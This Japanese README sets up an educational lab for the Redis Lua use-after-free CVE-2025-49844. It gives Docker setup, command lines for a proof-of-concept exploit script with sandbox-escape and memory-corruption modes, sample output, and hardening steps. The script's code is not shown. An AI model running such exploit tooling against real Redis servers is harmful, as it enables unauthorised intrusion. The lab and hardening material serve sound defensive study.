
教育用ラボ環境で、Redis における CVE-2025-49844 (RediShell) を実演します。Docker セットアップ、エクスプロイト PoC スクリプト、パッチ適用と堅牢化のためのセキュリティ推奨事項が含まれています。
Redis の重大な脆弱性 CVE-2025-49844 (RediShell) をテスト・理解するための実践的なラボ環境です。
これは教育目的のみで使用してください!
以下のバージョンより前のすべての Redis バージョン:
このラボでは Redis 7.2.0(脆弱なバージョン)を使用します。
# Docker と Docker Compose をインストール
sudo apt-get update
sudo apt-get install docker.io docker-compose
# Python 依存関係をインストール
pip install redis colorama
# 1. 脆弱な Redis インスタンスを起動
docker-compose up -d
# 2. Redis の起動を数秒待つ
sleep 5
# 3. Redis が実行中であることを確認
docker-compose ps
# 4. エクスプロイトを実行
python3 exploit_poc.py -H localhost -p 6380 -m all
# 脆弱性の確認のみ
python3 exploit_poc.py -H localhost -p 6380 -m check
# 基本的な UAF テストを実行
python3 exploit_poc.py -H localhost -p 6380 -m basic
# サンドボックスエスケープをテスト
python3 exploit_poc.py -H localhost -p 6380 -m sandbox
# 高度なメモリ破壊をテスト
python3 exploit_poc.py -H localhost -p 6380 -m advanced
# すべてのテストを実行
python3 exploit_poc.py -H localhost -p 6380 -m all
# 認証付き
python3 exploit_poc.py -H localhost -p 6380 -a "password" -m all
# ログを表示
docker-compose logs -f
# Redis CLI に接続
docker-compose exec redis-vulnerable redis-cli
# ラボを停止
docker-compose down
# すべてを削除(ボリュームを含む)
docker-compose down -v
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-49844 (RediShell) PoC ║
║ Use-After-Free in Redis Lua Interpreter ║
║ CVSS Score: 10.0 (CRITICAL) ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing connection to localhost:6380...
[+] Connected successfully!
[i] Redis Version: 7.2.0
[*] Checking if Lua scripting is enabled...
[+] Lua scripting is enabled!
[*] Checking vulnerability status...
[i] Detected Redis version: 7.2.0
[!] VULNERABLE: This version is affected by CVE-2025-49844
[!] Update to the latest patched version immediately!
[*] Attempting basic UAF trigger...
[+] Lua script executed: UAF pattern executed
[!] UAF pattern triggered (simplified demo)
[*] Testing Lua sandbox boundaries...
[*] Testing os.execute...
[+] Protected: os.execute blocked
[*] Testing io.popen...
[+] Protected: io.popen blocked
[*] Testing loadfile...
[+] Protected: loadfile blocked
[*] Testing package.loadlib...
[+] Protected: package.loadlib blocked
[*] Attempting memory corruption pattern...
[+] Memory corruption pattern executed: Memory corruption pattern completed
[!] In vulnerable versions, this could lead to RCE!
============================================================
[*] PoC execution completed
============================================================
この脆弱性は、Redis の Lua インタプリタにおける 13 年前の Use-After-Free バグを悪用します:
# 最新のパッチ適用済みバージョンを取得
docker pull redis:8.2.2
# または
docker pull redis:7.4.6
# /etc/redis/redis.conf
# 認証を有効化
requirepass your_strong_password_here
# ネットワークアクセスを制限
bind 127.0.0.1 ::1
protected-mode yes
# 危険なコマンドを無効化
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command EVALSHA ""
# ロギングを有効化
loglevel notice
logfile /var/log/redis/redis-server.log
# 特定ユーザーの Lua スクリプティングを無効化
redis-cli ACL SETUSER myuser -@scripting
# 制限付きユーザーを作成
redis-cli ACL SETUSER limited on >password ~* +@read +@write -@scripting
# ファイアウォールルールを使用
sudo ufw allow from 192.168.1.0/24 to any port 6379
sudo ufw deny 6379
# または iptables を使用
sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP
# ポートを使用しているものを確認
sudo lsof -i :6380
# または docker-compose.yml でポートを変更
# ports:
# - "6381:6379"
# 必要なパッケージをインストール
pip install redis colorama
# または仮想環境を使用
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# ユーザーを docker グループに追加
sudo usermod -aG docker $USER
# その後、ログアウトして再度ログイン
# ログを確認
docker-compose logs
# コンテナを再起動
docker-compose restart
# イメージを再ビルド
docker-compose up -d --build
redis_exploit/
├── Dockerfile # Redis 7.2.0 脆弱なインスタンス
├── docker-compose.yml # Docker Compose 設定
├── exploit_poc.py # メインのエクスプロイトスクリプト
├── requirements.txt # Python 依存関係
├── .gitignore # Git 無視ファイル
└── README.md # このファイル
この PoC は簡略化されており、教育目的のみです。実際の CVE-2025-49844 エクスプロイトには複雑なメモリ操作が含まれます。常に Redis インスタンスを最新バージョンにパッチ適用してください!